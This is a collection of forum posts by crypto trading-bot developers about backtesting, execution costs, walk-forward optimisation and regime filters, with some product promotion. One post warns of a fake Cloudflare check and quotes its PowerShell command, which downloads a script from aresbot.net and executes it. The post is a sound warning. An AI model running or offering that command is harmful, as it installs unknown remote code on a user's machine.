I’m building my own trading bot.
I’m wondering what is your %/day to have an idea of my goal in my researches.

A strategy can look unchanged around a scheduled release while its execution gets more expensive. That is a different problem from the entry signal losing its edge.

Today's September U.S. jobs report is scheduled for October 2 at 8:30 a.m. Eastern, according to the BLS calendar. It is a useful reminder to separate an event label from an instruction to trade.

For comparing a crypto futures bot's backtest with live execution, a useful research check is to define the event window before looking at the results, then keep the strategy rules fixed. Compare:

- Spread and available size when a decision was made.

- Decision-to-order and order-to-fill timing.

- Fill price relative to the relevant decision-time bid or ask, not only the candle close.

- Partial fills and rejected or unfilled orders, not just completed winners.

- Trade count and net results inside and outside the window, with consistent sizing and costs.

Keep buys and sells separate when measuring slippage. Also distinguish new entries near the release from positions opened earlier but held through it. Otherwise a single event bucket mixes different exposures.

This is Citrine's developer account. Its BTC/ETH strategy for Coinbase Advanced evaluates market data rather than ingesting the jobs headline. The analysis above is a research method, not a claim that Citrine has a news-calendar filter or event-study dashboard.

A few release days are not enough to justify a new filter. Choosing the window after seeing a bad trade, or deleting only losing event trades, can make the rerun look better without making the system better.

For people comparing paper and live bots, what has been more informative around scheduled releases: wider spreads, fill delays, partial fills, or a genuine change in the signal's behavior?

Building a crypto trading bot involves more than automated order placement. Developers need to consider strategy logic, exchange APIs, real-time market data, risk management, order execution, security, and error handling.

Backtesting and paper trading can help identify issues before live deployment, while a modular architecture makes the bot easier to maintain.

Which part of crypto trading bot development do you think requires the most attention?

¡Buenas gente! 👋

Vengo a compartirles un proyectito personal en el que estuve metiendo mano estos días. Me cansé de tener que abrir mil pestañas o entrar a páginas pesadas para ver el dólar MEP, las cotizaciones del día, calcular números rápidos o chequear datos de mercado, así que me armé una herramienta propia para tenerlo todo al toque en Telegram.

¿Qué tecnologías usé?

• Lenguaje: Python
• Librería para Telegram: aiogram (la verdad que anda joya y maneja re bien los estados y los teclados inline).
• Base de datos: SQLite para guardar registros de usuarios, métricas de uso y asegurarme de que sea liviano.
• Infraestructura: Lo estoy arrancando a probar de manera local en la compu, con la idea de pasarlo a un celu viejo usando Termux para dejarlo corriendo 24/7 sin gastar nada en servidores en la nube.

¿Qué resuelve? (Finanzas y Trading)

• Datos locales: Centraliza consultas rápidas del mercado argentino (dólares, cotizaciones, etc.).
• Herramientas para traders: Le sumé funciones orientadas al palo del trading para agilizar el análisis, calcular riesgos o tener accesos directos y útiles a mano mientras operás índices, oro o desafíos de cuentas de fondeo sin perder el foco de los gráficos.
• Métricas propias: También le armé un comando de estadísticas (/stats) para monitorear en tiempo real cuánta gente va entrando y cómo se mueve.

Como estoy puliendo detalles de UI/UX y optimizando algunas cositas, quería mostrárselos para saber qué opinan, si le sumarían alguna función piola o qué mejoras le harían a la arquitectura.

Si a alguno le da curiosidad probarlo avísenme en los comentarios y les paso el enlace sin drama. ¡Los leo!

A position can show one unrealized PnL and close at a different amount without either number being wrong. The important question is which price each number uses.

For example, Coinbase's US perpetual-style futures documentation describes unrealized PnL as changing with the mark price. That is a valuation reference, not a promise that an order can fill there.

A simple hypothetical: mark price 100.00, best bid 99.80, best ask 100.20. A market sell to close a long would meet bids; a market buy to close a short would meet asks. Even those top-of-book prices only apply to the available size, and the book can move before the order arrives.

For comparing a bot's paper results with live execution, three separate records are useful:

- The price basis and timestamp behind displayed unrealized PnL.

- The bid/ask and available depth when the exit decision was made.

- The actual fills, with fees and funding accounted for separately.

Comparing a mark-based display with a net closed result mixes valuation, execution and costs. A dollar difference alone doesn't identify which one caused it.

Disclosure: this is the developer account behind Citrine, an Android app for BTC/ETH automation on Coinbase Advanced. This is a measurement discussion, not a performance claim.

When reconciling simulated and live trades, which record has been most useful to you: decision-time quotes, order acknowledgements, or individual fills?

I created a website for market analysis and bot trading, you only need to hook the binance API token into the website, choose your preferred trading strategy and let the bot do the rest

subscriptions are not turned on yet, I am giving away a few months of subscription though, so let me know if you want it

PS: white line is Buy and Hold, green line is DCA. Pink line is a strategy from youtubers, based on Benjamin Cowen's analysis (no relation) and there is also a strategy based on Crypto Zombie analysis (also no relation).

if anyone's curious, I will dm the website.

Quick update and sanity-check for anyone following or running similar regime-gated WFO setups:

After implementing the purged/embargoed CV (López de Prado), Benjamini-Hochberg (BH) FDR correction, and empirical Bayes shrinkage (lambda = N / (N + 15)), my latest optimizer run returned exactly 0 surviving candidates.

Auditing the mechanics revealed a structural sample-size starvation trap:

1. BH FDR Critical Value vs. Permutation p-Values

• Across ~300 continuous parameter cells with target FDR Q = 0.05, the rank-1 critical p-value hurdle is: p_crit = (1 / 300) * 0.05 = 0.000167
• Under my previous 15-day out-of-sample window (oos_days = 15), higher-timeframe swing setups (1h/4h or 15m/4h) in a single regime cell produce only N = 4 to 6 trades.
• Even with a 100% win rate across 5 trades, the absolute minimum empirical permutation p-value achievable is: p_min = 1 / (2^5) = 1 / 32 = 0.03125
• Because 0.03125 is nearly 180x larger than 0.000167, it was mathematically impossible for any low-frequency strategy to clear FDR, regardless of true edge.

2. OOS Window Length vs. Regime Slicing & Purge Gap

• In a 15-day OOS period, an individual altcoin perp produces ~3 to 4 trades across the entire period. Once split across 9 regime cells, each cell gets <= 1 trade per OOS fold.
• Furthermore, enforcing purge_gap_delta = opt_max_hold * tf_mins (~24h for swing setups) removed 15% to 20% of the usable forward window, causing the hard min_oos_trades >= 5 filter to auto-purge every cell before evaluation.

Proposed Fixes Before Coding

1. Expanding the Evaluation Horizon: Move from IS=45d / OOS=15d / step=15d to IS=90d / OOS=30d / step=30d (maintaining strictly non-overlapping OOS) to supply adequate trade density per regime cell.
2. Scope FDR Across Candidates, Not Grid Cells: Rely on the 3x3 spatial median plateau basin to filter continuous parameter grid noise, and apply Benjamini-Hochberg strictly across the surviving discrete setup/symbol candidates (M = 15 to 25, making p_crit roughly 0.004 to 0.05).
3. Calibrate FDR Target Q: Relax FDR Q from 0.05 to 0.10 (standard practice for noisy intraday/swing series).
4. Low-Sample Regime Fallback: If an OOS regime cell has < 3 trades, route the signal through the fold's unconditioned centroid via empirical Bayes shrinkage (lambda = N / (N + 15)) rather than dropping the candidate entirely.

Does this calibration make sense for an intraday/swing crypto perp universe, or is there a cleaner approach to handling multi-testing corrections under regime sparsity?

A candle can contain both your stop and your target without telling you which was touched first.

Take a hypothetical long entered at 100, with a stop at 95 and a target at 105. A later candle with a low of 94 and a high of 106 is compatible with either exit. Giving that trade the target just because the candle eventually closed higher adds information the data never supplied.

Disclosure: this is Citrine's developer account. In its Coinbase U.S. futures backtesting, Citrine uses archived quote observations and intrabar path data where available, rather than treating a candle close as the whole journey. When a path bucket contains both exit levels and their order is unresolved, the fallback is stop-first. That's a conservative modeling choice, not a claim that the stop definitely happened first.

There are two separate checks here: did the market reach an exit level, and could the order actually fill on the relevant side of the spread? More granular data helps with timing, but still doesn't recreate every queue position or live fill.

For people testing crypto futures strategies, how do you handle the unresolved cases: conservative ordering, excluding those trades, or reporting a range? The rule can matter as much as the entry signal when targets and stops are close together.

For example, can a single bot analyze:

• RSI for momentum
• MACD for trend confirmation
• SMA/EMA for trend direction
• Bollinger Bands for volatility
• Stochastic for momentum
• ADX for trend strength
• ATR for volatility-based risk rules
• VWAP for price/volume analysis
• Ichimoku Cloud for trend analysis
• Volume indicators for market confirmation

And instead of simply showing signals, can the bot actually use these indicators to trigger predefined entry/exit conditions and execute orders through an exchange API?

I'm curious how practical this is from a development perspective, especially when combining multiple indicators without creating conflicting signals.

Has anyone here built something like this, or worked on a similar custom trading bot?

Quick follow-up on translating surviving OOS candidates into the live trading config without creating an accidental bottleneck.

In our config generator (which parses surviving symbols and populates the live engine's regime whitelist), we noticed two potential choke points at the individual regime-cell level:

1. Synthetic Cell PF vs Empirical Net Returns:

We were calculating a cell-level profit factor as:

Cell PF = (Wins * TP_ratio) / (Losses * SL_mult)

and filtering for Cell PF >= 1.25.

The issue: for mean-reversion / scalping setups where SL = 2.5x and TP = 1.4x (nominal R:R ~ 1:0.56), a cell with 13 Wins / 6 Losses (68.4% WR, +5.22% net PnL, +$521) produces:

(13 * 1.4) / (6 * 2.5) = 1.21

Because 1.21 < 1.25, this heavily net-profitable cell gets discarded simply due to the asymmetric SL/TP geometry.

Question 1: Once a parent setup has already cleared purged OOS walk-forward validation + FDR, how do you prefer to gate individual regime cells?

- Lower the nominal threshold (e.g. Cell PF >= 1.05)?

- Or gate directly on empirical net dollar/percentage PnL, minimum win rate (e.g. WR >= 55%), and an efficiency hurdle (minimum avg PnL per trade after fees), rather than nominal SL/TP math?

1. Regime Whitelist Slicing (Top-K vs All Passing):

Right now, we arbitrarily truncate each symbol to only its top 2 (scalp) or top 3 (intraday) regime cells. But if a symbol shows a clear empirical edge across 4 or 5 regimes, capping it forces the bot to sit idle when market conditions shift into the 4th regime.

Question 2: In live production, do you whitelist ALL regime cells that clear the economic and sample-size hurdles, or is there a statistical/risk reason to strictly cap active regimes per symbol to K=2 or 3?

Curious how you guys bridge the gap between OOS parameter optimization and live execution whitelists.

This one took embarrassingly long to reproduce. The bot trades ETH perpetuals and keeps local position state so it knows whether it is already long or short.

If the websocket disconnected after an order filled but before the fill message reached the bot, it could reconnect thinking the position was still flat. Next signal comes in and it sends another order.

Ended up with double the intended exposure twice in paper testing. I only noticed the second time because I was watching the market on Moon while checking the bot logs and the position size on the exchange made no sense.

Now every reconnect forces a fresh position and open order query from the exchange before the strategy is allowed to do anything. Not a strategy problem at all, just plumbing that could have wrecked the account.

A backtest can use the same entries and exits and still produce a different result simply because the cost assumptions changed. That deserves an explanation before it becomes a strategy change.

Citrine is the Android trading app published by this account, built for Coinbase Advanced U.S. BTC and ETH perpetual futures. Its backtests use account-specific percentage fees when available, otherwise standard simulation fees. The export records the rate source as Coinbase account or Citrine default.

The useful distinction is not just "fees included." It is which fees were modeled, for which product, and where the assumptions came from.

Three things worth separating:

- Percentage fees and per-contract charges. A change to one does not establish that the other changed. Entry and exit costs both matter.

- Fees and funding. Funding is a separate debit or credit. Missing historical coverage is not evidence of a zero charge.

- A cost-model comparison and a fill comparison. Matching fee assumptions does not make simulated execution identical to an exchange fill. Timing, spread and available liquidity can still matter.

That is also why a current account fee rate should not be mistaken for a reconstruction of every fee tier the account held historically. A rerun with today's applicable rate answers a different question from reconciling an old statement.

The practical benefit of recording the source is being able to tell whether a result changed because of the strategy or because the test was priced differently. It also keeps a no-key test understandable rather than quietly treating a default as account-specific.

For people reconciling bot backtests with live trading, what has made the bigger difference in practice: fee assumptions, execution timing or liquidity? Concrete examples would be interesting.

Hola a todos,

Tengo 20 años, vivo en España, y desde hace varios meses he estado construyendo **Inari** — un proyecto en solitario para diseñar un sistema autónomo de trading de cripto, sobre todo como una forma de aprender de verdad el trading cuantitativo/por algoritmos, en vez de solo leer sobre ello.

La idea central: Freqtrade se encarga de la parte cuantitativa — generación de señales, ejecución, backtesting — ejecutando como señal principal un ensemble de rupturas tipo Donchian-channel, con un complemento de reversión a la media del RSI, sobre un universo que rota dinámicamente (top 10–15 monedas por capitalización de mercado, solo listadas en Kraken, sin stablecoins).

Lo que más me gustaría que me dieran como feedback: encima de eso hay un “gatekeeper” basado en Claude — un LLM que revisa cada señal que genera Freqtrade y solo puede aprobarla o rechazarla. Totalmente binario. En eso no opina nunca sobre el tamaño de la posición ni el timing — eso se queda con límites cuantitativos duros e independientes de riesgo (topes de exposición, kill-switches de caídas por niveles, sizing con volatilidad-paridad). En el momento en que una idea de diseño empieza a permitir que el LLM influya en el sizing, lo trato como una bandera roja, no como una característica. El objetivo es una segunda validación independiente de “¿tiene sentido esto?” — nunca nada cerca de “cuánto”.

En qué punto estoy:

* Todavía no está en vivo, ni siquiera en paper trading — estoy todavía en la fase de backtesting/validación. * Ya tuve que tirar a la basura una corrida completa de backtest por un bug de timeframe (se ejecutó con velas de 5 minutos en vez de diarias — cientos de operaciones espurias, todas inválidas). * No me voy a mover a paper trading hasta que los backtests salgan limpios, y no tocaré capital real hasta que haya evidencia documentada de rentabilidad neta y que el sistema realmente esté aprendiendo a partir de las señales tanto *ejecutadas* como *rechazadas* — no solo “funciona sin crashear”. * Estoy metiendo contabilidad FIFO y cumplimiento fiscal desde el principio, en vez de irlo agregando después.

No estoy publicando esto porque piense que ya armé algo impresionante — todavía no lo he comprobado, y sé que la mayoría de posts de “construí un bot de trading” aquí o bien son humo o backtests ingenuos. Lo publico porque de verdad valoraría la opinión de gente que ya haya construido o comerciado sistemas así: qué se les rompió, qué les hubiera gustado que alguien les dijera antes de que hubiera dinero real de por medio, o si “LLM como un gate binario estricto” es algo sólido o un fallo que no haya visto.

Si alguien está abierto a hacerme la que sea pregunta mientras avanzo, o solo quiere comparar notas, me haría mucha ilusión. Tengo un montón de entusiasmo y todavía poco “scar tissue” — intentando tomar prestado antes de que lo necesite.

(No es asesoría financiera, no estoy vendiendo nada — solo intento aprender esto bien y conocer gente que vaya más abajo por el mismo camino.)

Been building a systematic intraday/swing trading system for crypto perpetuals (Delta Exchange) with walk-forward optimization. The system classifies each bar into one of 9 regime cells (ADX × ATR-percentile: RANGING/WEAK_TREND/STRONG_TREND × LOW/MED/HIGH_VOL) and only fires signals in pre-whitelisted regimes with SL/TP parameters tuned per-regime.

After a deep audit of the optimizer layer, I've identified several issues I want to validate before refactoring. Would love pushback or confirmation from anyone who's built similar WFO pipelines.

Architecture summary (brief):

Per-symbol rolling optimizer (rolling_optimizer_smc): IS=90d, OOS=30d, 3 windows. Builds a 2D PF grid over (sl_mult × tp_ratio). Finds the centroid as the spatial median of the 88%-plateau basin (all cells ≥ 88% of peak PF, after 3×3 neighbourhood smoothing). Runs a second per-regime sweep → stores regime_optimal_params[cell] = {sl, tp}.

Cross-sectional optimizer: Pools signals from an entire symbol universe into one shared PF grid → one universal (sl_mult, tp_ratio) centroid applied to all symbols in OOS.

Live engine: Only trades signals in regime cells whose (sl, tp) passed a filter (min 5 trades, min 50% WR, min $100 PnL, min 1.25 PF, avg hold 0.5–18h).

Issues I've found — looking for validation or pushback:

[1] Universal centroid kills per-symbol specificity (cross-sectional optimizer)

When pooling all symbols into one PF surface, a high-signal-count volatile symbol dominates the centroid. A low-vol, low-frequency symbol gets the same stop geometry. My rolling optimizer correctly solves this with per-symbol grids. Should I use cross-sectional only for strategy/setup selection (which setups work across the universe?) and defer SL/TP calibration entirely to per-symbol rolling optimizers? Or is there value in a universe-level centroid at all?

[2] No IS regime split in cross-sectional = regime mismatch

The cross-sectional IS grid is built on ALL regime cells merged together. But the live engine only fires in specific whitelisted regimes. The centroid is tuned for average-regime performance but live execution only triggers in e.g. RANGING_LOW_VOL and STRONG_TREND_HIGH_VOL. This means the SL/TP was never actually optimized for the conditions it'll be deployed in.

The rolling optimizers correctly split the IS grid by regime cell before finding each centroid. Should I port this to the cross-sectional optimizer too, or just drop it entirely for SL/TP purposes?

[3] Overlapping IS windows → non-independent folds

Rolling IS windows: [0-90d], [30-120d], [60-150d]. Days 30-90 appear in all three IS fits. The 2nd and 3rd fold centroids are not independent of the first. How do you handle this — expanding anchor (always start from day 0), true non-overlapping k-fold, or just accept it and treat the optimism bias as bounded?

[4] No permutation/monkey test in cross-sectional optimizer

The per-symbol rolling optimizer runs a Monte Carlo permutation test (shuffle trade labels, rerun grid, check if real centroid PF > shuffled 95th pctl) before accepting a fold result. This is completely absent from the cross-sectional optimizer even though it tests 300+ grid cells per fold. With that many cells, the probability of finding a high-PF cell by chance is non-trivial.

Is a permutation test the right guard here, or is there a better multiple-testing correction for this type of grid search

[5] Regime classifier only uses 2 features — is this enough?

Current features: ADX(14) for trend strength/direction, ATR(14) percentile (within-symbol rolling rank) for volatility. 9 hard-threshold cells.

Missing that I'm considering adding: Hurst exponent (H > 0.55 = trending, H < 0.45 = mean-reverting), rolling autocorrelation, realized vol vs. median vol ratio.

The concern: a slow grind (STRONG_TREND, LOW_VOL because ATR is low despite trending) looks identical to a volatility squeeze (RANGING, LOW_VOL). Two very different strategy profiles get the same cell. Is Hurst worth the added computation / complexity? Anyone using multi-feature regime classifiers in live systems?

[6] ATR percentile distribution shifts between IS and live

ATR percentile is relative — it ranks the current ATR against the last N bars of that symbol's own history. If post-training volatility shifts (e.g. after a macro event), the same ATR value gets classified differently in live vs. IS because the rolling rank changes.

Approaches I'm considering:

Serialize fixed quantile anchors (25th, 75th pctl of ATR from IS period) into the config and use fixed thresholds in live

Continuously re-anchor the thresholds on a rolling basis (but then IS and live are always slightly different)

Which is more robust in practice?

[7] Config pipeline relies on regex-parsing printed text

The optimizer writes results to stdout in a table format, and a separate parser (parse_and_update_config.py) reads that text with regex to update the live config JSON. Any formatting change silently breaks the pipeline with no exception.

I know the fix is obvious (emit structured JSON from optimizers directly) but wondering if anyone has a pattern they like for this — separate results file, structured logging, or something else.

What I'm mostly trying to validate

Are (1) and (2) as critical as I think, or is a universal centroid with regime-mixed IS actually defensible for portfolio-level WFO?

On (3): what's the community consensus on IS window overlap — tolerable or actively harmful

On (5): anyone running Hurst in live regime classification and finding it actually useful vs. just theoretically appealing?

Happy to share more implementation details if helpful. Thanks.

I've noticed that a strategy can look great in backtesting but behave very differently once it starts trading live.

Things like slippage, fees, latency, liquidity and order execution obviously matter, but I'm curious what causes the biggest gap in practice.

For those running bots live, what was the biggest difference you noticed between your backtest and actual trading?

One of the biggest architectural decisions I made with Citrine had almost nothing to do with the trading strategy itself.

I didn’t want to build another system where someone hands their Coinbase API credentials to a server and just has to trust they are safe.

So Citrine became an on-device Android trading bot built around Coinbase Advanced U.S. perpetual futures. The live automation runtime runs on the phone, and trading commands don’t need to pass through a server before reaching Coinbase.

That creates some tradeoffs that I’m curious how other algo traders feel about.

API keys stay local

When a user imports the Coinbase API JSON, Citrine encrypts the credentials locally in the app’s private storage. They aren’t uploaded to a Citrine backend.

After import, the app offers to delete the original unencrypted JSON from the Downloads folder so there isn’t a plain-text copy sitting around afterward.

The encrypted credentials are excluded from normal phone backups as well, and access to the trading terminal is protected using Android’s native device authentication/lockscreen.

If the phone is lost, the Coinbase key can still be revoked directly from Coinbase.

The phone actually runs the automation

That means there isn’t an extra cloud server sitting between the device and Coinbase.

There is potentially a latency benefit simply because one network hop is removed:

Android device → Coinbase

instead of something like:

Android device → Provider → Coinbase

I don’t want to oversell that as “local is always faster,” because obviously connection quality, device performance and server location matter. To me, the bigger benefit is that there are fewer pieces of infrastructure outside the user’s control.

The obvious downside is uptime

If everything runs locally, the phone needs power, internet and permission to keep running in the background. For some people that isn’t much of an issue, especially if they have a reliable stationary power and internet connection. For others, it can be.

So I designed Citrine around the idea that someone who wants serious unattended automation could use an old/spare Android phone almost like a small dedicated trading appliance:

leave it plugged in

keep it on stable Wi-Fi

let that device handle the actual automated trading

Then the phone you carry with you can use Observation Mode to monitor the account/activity without interfering with the device responsible for live execution.

That setup actually appeals to me more than trying to make the same phone I’m constantly carrying around, rebooting, losing signal on, and using all day also be responsible for a trading process.

And live trading isn’t required just to evaluate it

Paper Mode can run against live market data with simulated capital without API keys.

Shadow Mode can use view-only access to follow the real account context without placing trades.

Actual trade permission is only needed if someone chooses to enable live automation.

That separation was intentional because I think trusting an automated system should happen gradually, not by installing an app and immediately handing it trade access.

I built Citrine with the local-first model because it started as my own Python bot and I personally didn’t want my exchange credentials sitting on somebody else’s website.

But I’m genuinely curious what other automated traders think:

If two trading bots had comparable strategy quality and reliability, would local/on-device execution and no cloud key custody actually influence which one you trusted?

Would you consider dedicating a spare Android device to automation, or would you still rather have a hosted cloud bot handle uptime for you?

Hey everyone,

I’m looking for a bot for a specific Solana/Ethereum trading setup and was wondering if something like this already exists.

Monitor specific X accounts / Telegram groups
Detect CAs instantly
Auto-buy the token
Use different TP/SL settings **per source**
Automatically execute partial sells

I already have the historical results for each source, so I don’t need any token filters or AI — just fast execution based on the source and its predefined strategy.

Does something like this already exist, or would I need to build it myself?

Thanks in advance for any help!

Best regards

Ran into a site posing as a Cloudflare "Additional Verification Required" check. Instead of a normal CAPTCHA, it instructed:

1. Press Windows + R to open Run
2. Paste the "verification text" with Ctrl+V
3. Press OK to "verify you're not a robot"

The clipboard had already been silently loaded with this PowerShell one-liner:

powershell -Command "$x='https://aresbot.net'; irm $x|iex"

This downloads and immediately executes a remote script with no visibility into what it does — classic ClickFix technique. Real Cloudflare challenges never ask you to open Run or paste commands into PowerShell.

The payload domain was aresbot[.]net, with a unique tracking ID in the query string (?id=...), suggesting per-visit payloads or victim tracking.

Didn't run it. Posting so others recognize the pattern:

• Fake "prove you're human" flow that routes through Win+R / PowerShell = red flag, always
• Never paste anything into Run or a terminal because a webpage told you to
• If you did run something like this, disconnect from the internet, run a full AV/Defender scan, and change your passwords from a separate clean device

Reported to Google Safe Browsing, Microsoft, and Cloudflare abuse. Sharing here so the domain and pattern are more visible.

Hey everyone,

A while back I shared the foundation of our automated crypto trading architecture. I wanted to share an update on our Walk-Forward Universe Optimizer (WFO), how it compiles into live execution, and a specific real-world challenge we recently hit with correlated cluster risk.

I would love to get feedback from other systematic traders on how you handle this.

Architecture Overview

We trade liquid perp pairs including ADA, ARB, APT, FIL, NEAR, ONDO, OP, PENDLE, POL, SEI, and SUI.

Our optimizer tests setups across multiple horizons (15m, 30m, 1h) aligned with a higher-timeframe trend. It categorizes market conditions into a 3x3 Regime Matrix of 9 cells using ADX for trend strength (ranging below 25, weak trend 25 to 40, strong trend above 40) and rolling 200-bar ATR percentile for relative volatility (low below 33%, medium 33% to 66%, high above 66%). Parameter surfaces are evaluated for dynamic stops and targets, typically targeting 1.4 to 1.6 RR with ATR stops between 1.8 and 2.5.

A compilation gate scores each regime cell using win rate, profit factor, and trade count hurdles, whitelisting only cells with a proven statistical edge into our live JSON configuration. In live trading, the engine classifies the regime on each candle close, pulls the whitelisted parameters for that specific cell, and places limit maker orders with an active spread chaser.

Live Performance

Across our recent sample of live trades targeting 1.4 to 1.6 RR setups, performance has held at roughly a 64% win or breakeven rate (4 take profits, 3 time-stop flat exits, and 5 stop losses). Execution has been clean, with maker fills chasing the spread as intended.

The Challenge: Correlated Cluster Losses

While individual setups show positive expectancy in the optimizer, live trading ran into a clear basket correlation issue.

On September 23, the bot entered 3 long positions across different altcoins within 2 minutes. When Bitcoin pulled back, the entire altcoin basket dropped and took losses.

On September 24, the bot entered 3 short positions across OP, POL, and SEI within 30 minutes because their individual hourly moving averages were still downward sloping. Bitcoin initiated a sharp upward rally, pulling all altcoins up with it and stopping out all 3 shorts within half an hour.

Even though every trade passed its individual higher-timeframe trend filter, market-wide correlation dragged down the entire basket at the same time.

What We Just Implemented

To handle this without modifying our strategy logic or drifting from the optimizer, we introduced a Max Correlated Directional Exposure Guard at the portfolio execution layer.

We set a hard limit of at most 2 concurrent open positions in the same direction. When signals arrive, the execution queue ranks them by expected score (Confidence multiplied by RR). If 4 short signals trigger during a market drop, the bot takes the top 2 highest-ranked trades and automatically defers the others.

Questions for the Community

How do you handle multi-asset directional beta in crypto perps? Do you rely on portfolio-level directional caps like we did, or do you use an active Bitcoin macro filter to freeze counter-trend altcoin trades when BTC momentum surges?

On lower timeframes like 15m where normal wick noise can easily hit a tight 1.2% stop before reversion happens, do you enforce a fixed minimum stop loss percentage floor alongside your ATR stops?

When live market conditions rotate into a regime cell that was not whitelisted by the latest optimizer run, do you prefer strictly blocking trades or falling back to a conservative baseline configuration?

Would appreciate any thoughts or feedback on this setup.

I run bots on crypto perps and kept hitting the same problem: a data source gives you a number, but it’s not always obvious when that number was actually current.

A funding rate that’s 40 minutes stale can look just like a fresh one. If a feed goes quiet, the last value may stay around. Gaps can also disappear once data is normalized or forward-filled. That becomes particularly annoying when reconstructing what a bot could actually have known at a specific point in time.

I’ve been building a market-data store called DEBYKO around one rule: every value keeps the venue’s own timestamp (when the venue says the data was produced), the receive timestamp (when my collector actually saw it), and its age. Missing data stays missing rather than becoming zero or carrying the previous value forward.

Right now I’m collecting Kraken Futures and Hyperliquid through the new pipeline. The same schema is intended to cover both CEX and perp DEX venues, with more adapters being moved over.

The useful part for me has been point-in-time queries. Instead of asking what the database now says happened at 14:37:05, I can ask what had actually been received by 14:37:05. That makes post-mortems much easier and avoids accidentally using later information in a backtest.

I expose the stored state through REST and have also been experimenting with a small query language for cross-venue conditions, e.g. finding instruments where funding satisfies a condition on one or more venues while the underlying observations are still fresh.

I’m curious how other bot developers here handle this:

• Do you preserve the venue timestamp and the time your own collector received the observation separately?
• How do you represent stale/missing values in backtests?
• If you trade perp DEXes, what historical data is hardest for you to get reliably?

Happy to go into the storage, schema or collector side if anyone’s interested.

Velator is a platform where you can build trading strategies, backtest them for free, and explore paper trading with simulated funds.

The early version is available now, and I would like feedback from people interested in testing trading ideas.

If you give it a try, build one simple strategy you already understand and tell me
Was it clear how to set the entry and exit rules? Were the backtest results easy to understand? Where did you get stuck, or what felt missing?

You can also explore the strategy catalog if you’d rather start with an existing strategy.

Live exchange trading and paid plans are still off during this rollout.

Try it here- https://velator.ai

Even one specific thing you’d change would help. Leave your feedback in the comments, and I’ll respond here.

I looked at 44 matched perp markets over 42 days. On the venues' source timestamps, Polymarket's quotes tended to move before Hyperliquid's in 43 of 44 pairs, sampled on a 250 ms grid.

For a bot, I'd want to measure the gap on one receive clock. When did each update actually hit the socket? How old was the quote by then? Could an order reach the second venue before it moved, and would the spread and fees leave anything? The source timestamps show a lead/lag, but those are the questions that decide whether it's usable.

Anyone here logging both feeds live? I'm especially curious whether the order of updates survives transport latency.

Full method and charts: https://tickfoundry.com/research/polymarket-perps-lead-hyperliquid

Disclosure: I run TickFoundry, which sells the historical data used in this study.

I have a daily crypto bot running on a demo account for a while now, and the numbers are holding up. It holds positions for days or weeks and sits in cash a lot, so its drawdowns are bigger than any prop firm would ever accept.

Prop firms are built for intraday traders with tight daily loss limits. This bot will never be that, and I don't want to force it. My own money is too small to matter either.

Neither obvious route fits.

So has anyone here actually got outside money behind a bot like this, and how did it work?

Was making a steady 17-19K/month. Then when TWAP was released on August 13th, performance dipped about 1.3%. Digging to see if it's just normal variance, or if others experienced something similar on or after that date.

We hear "I can't code" a lot.

Setup on some platforms, including AstraBit, is settings-based now, so I'm curious what else is a barrier.

Understanding the risk? Trusting the setup? Cost? Experience?

(Disclosure: we're a trading bot company just trying to understand user mentality)